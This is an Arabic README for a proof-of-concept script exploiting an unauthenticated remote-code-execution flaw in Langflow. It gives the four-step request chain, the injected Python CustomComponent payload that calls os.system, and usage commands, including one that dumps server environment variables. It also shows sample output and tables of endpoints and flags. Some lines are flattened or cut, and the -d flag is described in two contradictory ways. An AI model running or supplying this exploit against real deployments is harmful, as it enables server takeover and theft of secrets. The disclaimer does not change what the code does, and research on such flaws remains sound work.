
معرف CVE: CVE-2026-33017
البرنامج المتأثر: Langflow
الإصدارات المعرضة للخطر: <= 1.8.2
الإصدار المُصحح: >= 1.9.0
الخطورة: حرجة
المؤلف: r3nsi15
التاريخ: 2026
يكشف Langflow عن نقطة نهاية عامة لبناء التدفقات (/api/v1/build_public_tmp/{flowID}/flow) تقبل كتلًا برمجية عشوائية من نوع CustomComponent وتنفذها على الخادم دون أي مصادقة. عن طريق حقن حمولة Python خبيثة في حقل code لعقدة CustomComponent، يمكن لمهاجم غير مُصادق عليه تنفيذ أوامر نظام تشغيل عشوائية بصلاحيات عملية خادم Langflow.
تبدأ سلسلة الهجوم باستغلال نقطة النهاية /api/v1/auto_login، التي تُصدر رمز bearer دون طلب أي بيانات اعتماد عندما يعمل Langflow بتهيئة تسجيل الدخول التلقائي الافتراضية. ثم تستخدم هذا الرمز لإنشاء تدفق عام مؤقت وتشغيل تنفيذ التعليمات البرمجية على الخادم عبر نقطة نهاية البناء.
الملف: CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
التحقق من تنفيذ التعليمات البرمجية:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
استرجاع متغيرات بيئة الخادم:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
إبقاء التدفق نشطًا بعد الاستغلال (تخطي التنظيف):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
يحقن الاستغلال المقتطف البرمجي التالي بلغة Python في حقل code لعقدة CustomComponent:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - يستورد وحدة os ديناميكيًا وينفذ أمر الصدفة الذي يوفره المهاجم على الخادم.CustomComponent صالح مطلوب لإرضاء محمّل مكونات Langflow دون إثارة خطأ في التحليل.PUBLIC ويتم استدعاء نقطة نهاية البناء على نقطة النهاية العامة الخاصة به، مما يعني عدم الحاجة إلى ملف تعريف ارتباط للجلسة أو رمز مصادقة لتشغيل التنفيذ.يسمح نظام CustomComponent في Langflow بتقديم تعليمات برمجية عشوائية بلغة Python كجزء من تعريف التدفق. تعمل نقطة النهاية /api/v1/build_public_tmp/{flowID}/flow على بناء وتقييم هذه التعليمات البرمجية جزئيًا على الخادم، بما في ذلك العبارات على مستوى الوحدة، دون وضعها في بيئة معزولة (sandbox) أو تقييد الوصول إلى الدوال المدمجة في Python مثل __import__.
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
يمكن تنفيذ جميع الخطوات الأربع بواسطة مهاجم مجهول ضد نشر افتراضي لـ Langflow.
LANGFLOW_AUTO_LOGIN=false) في أي نشر مواجه للإنترنت.يُقدَّم إثبات المفهوم هذا لأغراض تعليمية وبحوث أمنية مصرح بها فقط. يعد استخدام هذا السكربت ضد أنظمة دون إذن كتابي صريح أمرًا غير قانوني وغير أخلاقي. لا يتحمل المؤلف والمساهمون أي مسؤولية عن سوء الاستخدام.
| نقطة النهاية | الطريقة | مصادقة مطلوبة | الغرض |
|---|
/api/v1/auto_login | GET | لا | الحصول على رمز bearer (يجب تفعيل تسجيل الدخول التلقائي) |
/api/v1/flows/ | POST | نعم (Bearer) | إنشاء تدفق جديد |
/api/v1/build_public_tmp/{flowID}/flow | POST | لا (عام) | تشغيل البناء — نقطة التنفيذ المعرضة للخطر |
/api/v1/flows/{flowID} | DELETE | نعم (Bearer) | تنظيف التدفق الذي تم إنشاؤه |
| العلامة | الصيغة الطويلة | مطلوب | الوصف |
|---|
-u | --url | نعم | عنوان URL الأساسي لنسخة Langflow |
-c | --command | نعم | أمر نظام التشغيل لتنفيذه على الخادم |
-d | --delete | لا | حذف التدفق الذي تم إنشاؤه بعد الاستغلال |